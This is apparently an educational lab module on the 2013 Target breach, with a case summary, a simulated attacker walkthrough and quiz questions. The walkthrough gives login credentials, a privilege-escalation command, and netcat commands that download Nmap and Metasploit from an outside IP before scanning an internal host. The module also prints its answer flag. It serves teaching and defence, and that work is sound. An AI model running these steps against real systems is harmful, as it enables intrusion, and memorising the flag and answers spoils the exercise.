Target Data Breach

Target Audience

Undergraduate
Graduate

Keywords

target
email phishing
active persistent attack (APT)
malware
POS

Introduction

Overview

In 2013, during the peak holiday shopping season, Target, one of the largest retail chains in the United States, fell victim to a massive cyber attack. Hackers gained unauthorized access to Target's internal systems, compromising detailed information for approximately 40 million credit and debit card accounts and personal data for about 70 million customers. Despite Target's substantial investment in cybersecurity, including sophisticated malware detection software and a large security team, the breach occurred due to a phishing attack on a third-party vendor, Fazio Mechanical. The hackers exploited this breach to steal login credentials for Target's system and deploy malware, resulting in catastrophic financial losses and significant damage to Target's reputation.

Vulnerability Details

The vulnerability exploited in the Target breach stemmed from a phishing attack on a third-party vendor, Fazio Mechanical. An employee of Fazio fell for a fraudulent email containing a malicious attachment, which enabled the hackers to deploy the Citadel Trojan horse—a variant of the well-known ZeuS malware. Despite Target's security measures, including the use of sophisticated malware detection software, the malware remained undetected on Fazio's systems. Subsequently, the hackers obtained login credentials for Target's network and deployed additional malware, which went unnoticed even after multiple alerts were issued by the malware detection system. This failure to respond to security alerts and disable automated malware deletion features allowed the hackers to exfiltrate sensitive data over a two-week period, leading to substantial financial losses and reputational damage for Target.

Learning Objectives

Describe real-world cyber breaches and how these breaches could have been prevented
Explain common offensive cybersecurity techniques, including email phishing, vulnerability scanning, and privilege escalation
Explain common cybersecurity defense techniques and common vulnerabilities
Summarize how multiple security systems are integrated and how to establish a holistic view of cybersecurity in an enterprise environment

Download

Remote Terminal

Terminal Description

Welcome to the aftermath investigation of a cyber attack on a prominent retail chain. Assume the role of a cybersecurity analyst tasked with investigating the breach and identifying the vulnerabilities exploited by the attackers. In this scenario, assume that you already know the credentials of the user that was affected by the phishing attack. Use a username of faziodavid and a password of 1aB3cD7e

Use the help-module2 command to explore available commands.
Begin by logging into the Ariba website using the obtained credentials: ssh 192.168.1.47.
Escalate privileges by switching to the default user on the BMC server: su - bmcadmin.
Download essential hacking tools, such as Nmap and Metasploit, using raw netcat commands:
nc 74.233.19.204 12345 > nmap.tar.gz
nc 74.233.19.204 12345 > metasploit.tar.gz
Unzip and install the downloaded tools in your current directory:
tar -xzf nmap.tar.gz
tar -xzf metasploit.tar.gz
Initiate internal reconnaissance by running Nmap to scan the network: nmap 192.168.1.47.
Conduct a more in-depth scan of specific network services to identify vulnerabilities: nmap -sV -p 135 192.168.1.47.

Learn more about cybersecurity investigation techniques and tools:

Module Questions

How was initial access into Target systems gained by the attackers?Phishing email to Target contractorExploiting a vulnerability in Target's websitePhysical access to Target's data centersCompromising a third-party vendor with access to Target's network

How did the attackers escalate their privileges once inside Target networks?Exploited a zero-day vulnerability in Target's firewallUsed a brute-force attack to guess login credentialsManipulated Target's network configurations to gain higher privilegesTook advantage of default username/password combinations on an administrative server

What is a C2 server?Command and control server, used by attackers to maintain communication with and exfiltrate data from compromised systems within a target networkA server used for hosting Target's public websiteA server used for storing customer dataA server used for internal communication within Target's IT department

What is NetCat?Netcat is a networking utility for reading and writing to network connections using TCP or UDPNetcat is a type of malware used by hackers to infect systemsNetcat is a programming language commonly used for web developmentNetcat is an antivirus software developed by Target

How was Netcat utilized in the Target hack?Netcat was utilized to download additional hacking tools, mainly to conduct reconnaissance within the networkNetcat was used to directly access Target's customer databaseNetcat was used to shut down Target's serversNetcat was used to encrypt Target's data

What are some actions that could've been taken to prevent the initial infection?Train employees to recognize phishing emails and the next steps they should take if they believe they have received a phishing emailInstall more antivirus software on Target's serversBlock all incoming emails to prevent phishing attemptsIgnore security updates on Target's systems

What is the hidden flag after exploiting the vulnerable machine?GDxHwDHivRzthXSYNUrECkLs